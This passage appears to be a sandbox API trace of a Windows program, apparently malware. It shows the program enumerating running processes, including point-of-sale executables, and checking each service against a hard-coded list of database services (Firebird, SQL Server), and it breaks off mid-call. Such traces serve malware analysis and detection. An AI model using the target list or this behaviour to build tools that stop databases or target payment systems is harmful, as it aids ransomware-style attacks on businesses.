[0044.614] lstrlenW (lpString="creditservice.exe") returned 17 [0044.614] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0044.616] lstrlenW (lpString="edcsvr.exe") returned 10 [0044.616] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0044.617] lstrlenW (lpString="fpos.exe") returned 8 [0044.618] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0044.619] lstrlenW (lpString="isspos.exe") returned 10 [0044.619] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0044.620] lstrlenW (lpString="mxslipstream.exe") returned 16 [0044.620] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0044.621] lstrlenW (lpString="omnipos.exe") returned 11 [0044.621] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0044.623] lstrlenW (lpString="spcwin.exe") returned 10 [0044.623] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0044.624] lstrlenW (lpString="spgagentservice.exe") returned 19 [0044.624] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0044.625] lstrlenW (lpString="utg2.exe") returned 8 [0044.625] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0044.627] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0044.627] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0044.628] lstrlenW (lpString="increases.exe") returned 13 [0044.628] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.629] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.629] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0044.896] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0044.896] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0044.897] lstrlenW (lpString="dllhost.exe") returned 11 [0044.898] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0044.899] lstrlenW (lpString="dllhost.exe") returned 11 [0044.899] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0044.900] lstrlenW (lpString="driver.exe") returned 10 [0044.900] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0044.901] lstrlenW (lpString="cmd.exe") returned 7 [0044.901] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0044.902] lstrlenW (lpString="conhost.exe") returned 11 [0044.902] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0044.903] lstrlenW (lpString="mode.com") returned 8 [0044.903] Process32NextW (in: hSnapshot=0x160, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0044.904] CloseHandle (hObject=0x160) returned 1 [0044.904] Sleep (dwMilliseconds=0x1f4) [0045.497] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35f03b8 [0045.497] EnumServicesStatusExW (in: hSCManager=0x35f03b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 0 [0045.498] GetLastError () returned 0xea [0045.498] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x134c) returned 0x6355d8 [0045.498] EnumServicesStatusExW (in: hSCManager=0x35f03b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6355d8, cbBufSize=0x134c, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6355d8, pcbBytesNeeded=0x211ff44, lpServicesReturned=0x211ff5c, lpResumeHandle=0x0) returned 1 [0045.499] CloseServiceHandle (hSCObject=0x35f03b8) returned 1 [0045.499] lstrlenW (lpString="Appinfo") returned 7 [0045.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0045.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0045.499] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0045.499] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0045.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0045.500] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0045.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0045.500] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0045.500] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0045.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0045.500] lstrlenW (lpString="AudioSrv") returned 8 [0045.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0045.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0045.500] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0045.500] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0045.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0045.500] lstrlenW (lpString="BFE") returned 3 [0045.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0045.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0045.500] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0045.500] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0045.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0045.500] lstrlenW (lpString="CryptSvc") returned 8 [0045.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0045.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0045.501] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0045.501] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0045.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0045.501] lstrlenW (lpString="CscService") returned 10 [0045.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0045.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0045.501] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0045.501] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0045.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0045.501] lstrlenW (lpString="DcomLaunch") returned 10 [0045.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0045.501] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0045.501] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0045.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0045.501] lstrlenW (lpString="Dhcp") returned 4 [0045.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0045.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0045.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0045.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0045.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0045.501] lstrlenW (lpString="Dnscache") returned 8 [0045.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0045.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0045.502] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0045.502] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0045.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0045.502] lstrlenW (lpString="DPS") returned 3 [0045.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0045.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0045.502] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0045.502] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0045.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0045.502] lstrlenW (lpString="eventlog") returned 8 [0045.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0045.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0045.502] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0045.502] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0045.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0045.502] lstrlenW (lpString="EventSystem") returned 11 [0045.502] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0045.502] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0045.502] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0045.502] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0045.502] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0045.503] lstrlenW (lpString="FontCache") returned 9 [0045.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0045.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0045.503] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0045.503] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0045.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0045.503] lstrlenW (lpString="gpsvc") returned 5 [0045.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0045.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0045.503] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0045.503] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0045.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0045.503] lstrlenW (lpString="iphlpsvc") returned 8 [0045.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0045.503] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0045.503] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0045.503] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0045.503] lstrlenW (lpString="LanmanServer") returned 12 [0045.503] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0045.503] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0045.503] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0045.503] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0045.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0045.504] lstrlenW (lpString="LanmanWorkstation") returned 17 [0045.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0045.504] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0045.504] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0045.504] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0045.504] lstrlenW (lpString="lmhosts") returned 7 [0045.504] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0045.504] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0045.504] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0045.505] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0045.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0045.505] lstrlenW (lpString="MMCSS") returned 5 [0045.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0045.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0045.505] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0045.505] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0045.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0045.505] lstrlenW (lpString="MpsSvc") returned 6 [0045.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0045.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0045.505] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0045.505] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0045.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0045.505] lstrlenW (lpString="Netman") returned 6 [0045.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0045.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0045.505] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0045.505] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0045.505] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0045.505] lstrlenW (lpString="netprofm") returned 8 [0045.505] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0045.505] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0045.506] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0045.506] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0045.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.506] lstrlenW (lpString="NlaSvc") returned 6 [0045.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.506] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.506] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.506] lstrlenW (lpString="nsi") returned 3 [0045.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.506] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.506] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.506] lstrlenW (lpString="PcaSvc") returned 6 [0045.506] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.506] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.506] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.506] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.506] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.506] lstrlenW (lpString="PlugPlay") returned 8 [0045.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.507] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.507] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.507] lstrlenW (lpString="Power") returned 5 [0045.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.507] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.507] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.507] lstrlenW (lpString="ProfSvc") returned 7 [0045.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.507] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.507] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.507] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.507] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.507] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.507] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.507] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.507] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.508] lstrlenW (lpString="RpcSs") returned 5 [0045.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.508] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.508] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.508] lstrlenW (lpString="SamSs") returned 5 [0045.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.508] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.508] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.508] lstrlenW (lpString="Schedule") returned 8 [0045.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.508] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.508] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.508] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.508] lstrlenW (lpString="SENS") returned 4 [0045.508] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.508] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.509] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.509] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.509] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.509] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.509] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.509] lstrlenW (lpString="Spooler") returned 7 [0045.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.509] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.509] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.509] lstrlenW (lpString="sppsvc") returned 6 [0045.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0045.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0045.509] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0045.509] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0045.509] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0045.509] lstrlenW (lpString="SysMain") returned 7 [0045.509] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.509] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.510] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.510] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0045.510] lstrlenW (lpString="Themes") returned 6 [0045.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0045.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0045.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0045.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0045.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0045.510] lstrlenW (lpString="TrkWks") returned 6 [0045.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0045.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0045.510] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0045.510] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0045.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0045.510] lstrlenW (lpString="UxSms") returned 5 [0045.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 